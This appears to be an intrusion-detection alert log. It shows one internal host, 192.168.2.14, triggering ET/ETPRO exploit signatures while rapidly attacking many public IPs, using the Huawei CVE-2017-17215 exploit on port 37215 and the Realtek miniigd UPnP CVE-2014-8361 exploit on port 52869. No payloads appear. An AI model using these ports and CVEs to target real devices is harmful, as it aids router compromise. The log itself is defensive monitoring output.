Timestamp:	07/20/24-23:01:05.906602
SID:	2835222
Source Port:	47722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 148.132.169.125

Timestamp:	07/20/24-23:01:34.909518
SID:	2831300
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.104.77.122

Timestamp:	07/20/24-23:01:33.060990
SID:	2829579
Source Port:	38648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.64.229.9

Timestamp:	07/20/24-23:01:22.792727
SID:	2835222
Source Port:	49300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.204.163.81

Timestamp:	07/20/24-23:01:22.788405
SID:	2835222
Source Port:	44122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 98.8.145.55

Timestamp:	07/20/24-23:01:29.185354
SID:	2027339
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.176.169

Timestamp:	07/20/24-23:01:02.411166
SID:	2829579
Source Port:	35110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 220.158.230.42

Timestamp:	07/20/24-23:01:13.330389
SID:	2027339
Source Port:	33388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.252.238.17

Timestamp:	07/20/24-23:01:34.097406
SID:	2025132
Source Port:	49390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.100.22.77

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	59234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 165.96.229.239

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	36474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.172.21.48

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	33962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 150.10.126.44

Timestamp:	07/20/24-23:01:34.131777
SID:	2025132
Source Port:	52424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 2.46.59.12

Timestamp:	07/20/24-23:01:13.332381
SID:	2831300
Source Port:	53004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.245.110.189

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	45094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 142.218.73.42

Timestamp:	07/20/24-23:01:14.396963
SID:	2829579
Source Port:	35652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.202.138

Timestamp:	07/20/24-23:01:22.786544
SID:	2835222
Source Port:	38358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 179.90.129.47

Timestamp:	07/20/24-23:01:06.606086
SID:	2025132
Source Port:	60124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.237.137.71

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	48816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.14.51.31

Timestamp:	07/20/24-23:01:19.335313
SID:	2829579
Source Port:	60132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.44.132.242

Timestamp:	07/20/24-23:01:19.334332
SID:	2829579
Source Port:	58714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 105.221.149.154

Timestamp:	07/20/24-23:01:25.278883
SID:	2027339
Source Port:	33186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 165.240.21.199

Timestamp:	07/20/24-23:01:05.633189
SID:	2025132
Source Port:	44220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.66.15.3

Timestamp:	07/20/24-23:01:33.030188
SID:	2835222
Source Port:	50170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.244.231

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	53862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.253.158.6

Timestamp:	07/20/24-23:01:07.700270
SID:	2835222
Source Port:	43818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.134.165.127

Timestamp:	07/20/24-23:01:13.337641
SID:	2831300
Source Port:	37884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 146.126.33.191

Timestamp:	07/20/24-23:01:13.331310
SID:	2831300
Source Port:	53118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.237.29

Timestamp:	07/20/24-23:01:28.208110
SID:	2829579
Source Port:	38678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 133.211.191.92

Timestamp:	07/20/24-23:01:33.491218
SID:	2027339
Source Port:	60034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.213.136.195

Timestamp:	07/20/24-23:01:28.143109
SID:	2835222
Source Port:	52186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.166.207.208

Timestamp:	07/20/24-23:01:02.407252
SID:	2829579
Source Port:	52176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.9.182

Timestamp:	07/20/24-23:01:25.230811
SID:	2829579
Source Port:	41998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.216.161.59

Timestamp:	07/20/24-23:01:02.408227
SID:	2829579
Source Port:	41636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.89.208.254

Timestamp:	07/20/24-23:01:19.334827
SID:	2835222
Source Port:	52426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 198.112.106.164

Timestamp:	07/20/24-23:01:05.490874
SID:	2027339
Source Port:	36662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.243.15.26

Timestamp:	07/20/24-23:01:14.416273
SID:	2835222
Source Port:	42998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 45.24.39.65

Timestamp:	07/20/24-23:01:29.546185
SID:	2027339
Source Port:	48962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.58.112

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	59690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 47.7.230.238

Timestamp:	07/20/24-23:01:30.719058
SID:	2025132
Source Port:	46952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.60.159.225

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	44024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 47.67.168.49

Timestamp:	07/20/24-23:01:13.333147
SID:	2027339
Source Port:	45486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.78.113.172

Timestamp:	07/20/24-23:01:37.120918
SID:	2835222
Source Port:	42802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.194.90.237

Timestamp:	07/20/24-23:01:25.283485
SID:	2835222
Source Port:	35192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.85.112.187

Timestamp:	07/20/24-23:01:14.454899
SID:	2835222
Source Port:	60698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 193.243.213.199

Timestamp:	07/20/24-23:01:34.923386
SID:	2831300
Source Port:	36400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.229.147

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	44090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.48.132.173

Timestamp:	07/20/24-23:01:25.280228
SID:	2829579
Source Port:	41702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.180.127.172

Timestamp:	07/20/24-23:01:37.214680
SID:	2829579
Source Port:	36286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.237.15.252

Timestamp:	07/20/24-23:01:33.056745
SID:	2835222
Source Port:	32878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 143.76.5.38

Timestamp:	07/20/24-23:01:34.909518
SID:	2831300
Source Port:	45700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.247.97.52

Timestamp:	07/20/24-23:01:13.329661
SID:	2831300
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 188.64.202.52

Timestamp:	07/20/24-23:01:06.166101
SID:	2025132
Source Port:	43302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 123.243.178.81

Timestamp:	07/20/24-23:01:06.146745
SID:	2027339
Source Port:	39728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.144.135.107

Timestamp:	07/20/24-23:01:13.330329
SID:	2027339
Source Port:	48210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 13.17.82.210

Timestamp:	07/20/24-23:01:32.823464
SID:	2027339
Source Port:	37674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 162.16.177.241

Timestamp:	07/20/24-23:01:33.737025
SID:	2025132
Source Port:	58002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.88.19

Timestamp:	07/20/24-23:01:37.120678
SID:	2829579
Source Port:	33822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 82.116.127.119

Timestamp:	07/20/24-23:01:06.841661
SID:	2027339
Source Port:	55720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.212.63

Timestamp:	07/20/24-23:01:22.776061
SID:	2829579
Source Port:	52598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.171.237

Timestamp:	07/20/24-23:01:37.122448
SID:	2835222
Source Port:	58556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.176.13.97

Timestamp:	07/20/24-23:01:05.898116
SID:	2835222
Source Port:	60744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 155.24.113.226

Timestamp:	07/20/24-23:01:24.438895
SID:	2025132
Source Port:	53036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 99.174.108.83

Timestamp:	07/20/24-23:01:34.958511
SID:	2027339
Source Port:	34896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 97.239.211.144

Timestamp:	07/20/24-23:01:24.093369
SID:	2027339
Source Port:	45534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 46.136.73.170

Timestamp:	07/20/24-23:01:31.087349
SID:	2027339
Source Port:	58512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.75.68

Timestamp:	07/20/24-23:01:28.143795
SID:	2829579
Source Port:	59342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.203.149.103

Timestamp:	07/20/24-23:01:05.893818
SID:	2829579
Source Port:	57768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.20.71.159

Timestamp:	07/20/24-23:01:05.920528
SID:	2829579
Source Port:	40966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 171.186.170.148

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	42132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.254.246

Timestamp:	07/20/24-23:01:33.081950
SID:	2829579
Source Port:	35500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.189.66.2

Timestamp:	07/20/24-23:01:34.618858
SID:	2027339
Source Port:	45842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.116.60

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	57996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.191.232.175

Timestamp:	07/20/24-23:01:25.234700
SID:	2835222
Source Port:	38212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.183.70.1

Timestamp:	07/20/24-23:01:11.461274
SID:	2835222
Source Port:	47040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.112.217.187

Timestamp:	07/20/24-23:01:13.336216
SID:	2027339
Source Port:	52160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 139.212.201.39

Timestamp:	07/20/24-23:01:02.416600
SID:	2835222
Source Port:	57848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.190.232

Timestamp:	07/20/24-23:01:22.788405
SID:	2829579
Source Port:	56272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 51.249.121.241

Timestamp:	07/20/24-23:01:13.333349
SID:	2027339
Source Port:	44956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.224.18

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	57346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.28.9

Timestamp:	07/20/24-23:01:05.895886
SID:	2835222
Source Port:	50246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.164.107.20

Timestamp:	07/20/24-23:01:19.334911
SID:	2835222
Source Port:	49046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.25.210

Timestamp:	07/20/24-23:01:25.281209
SID:	2829579
Source Port:	56544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.77.121

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	54866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.166.20.130

Timestamp:	07/20/24-23:01:28.142762
SID:	2835222
Source Port:	54050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.97.146

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	43834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.96.221

Timestamp:	07/20/24-23:01:37.163818
SID:	2829579
Source Port:	32968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.239.43.227

Timestamp:	07/20/24-23:01:19.221647
SID:	2829579
Source Port:	50998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 154.234.222.130

Timestamp:	07/20/24-23:01:06.122522
SID:	2027339
Source Port:	51734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.227.181

Timestamp:	07/20/24-23:01:28.190003
SID:	2835222
Source Port:	59048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.141.189

Timestamp:	07/20/24-23:01:33.036114
SID:	2829579
Source Port:	55696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 200.181.183.183

Timestamp:	07/20/24-23:01:05.468860
SID:	2025132
Source Port:	43334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.250.30.224

Timestamp:	07/20/24-23:01:37.227353
SID:	2829579
Source Port:	57094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.7.39

Timestamp:	07/20/24-23:01:07.668438
SID:	2829579
Source Port:	48026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 89.243.23.143

Timestamp:	07/20/24-23:01:29.170557
SID:	2027339
Source Port:	55564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.57.40.96

Timestamp:	07/20/24-23:01:29.679335
SID:	2027339
Source Port:	40740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.158.75.9

Timestamp:	07/20/24-23:01:22.779211
SID:	2835222
Source Port:	42234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 173.148.234.198

Timestamp:	07/20/24-23:01:22.782671
SID:	2835222
Source Port:	56788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 208.213.201.22

Timestamp:	07/20/24-23:01:33.418840
SID:	2025132
Source Port:	57084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.101.16

Timestamp:	07/20/24-23:01:07.668438
SID:	2829579
Source Port:	35938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.120.151.234

Timestamp:	07/20/24-23:01:19.336582
SID:	2829579
Source Port:	46110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.170.74

Timestamp:	07/20/24-23:01:33.081950
SID:	2829579
Source Port:	47284
Destination Port:	37215
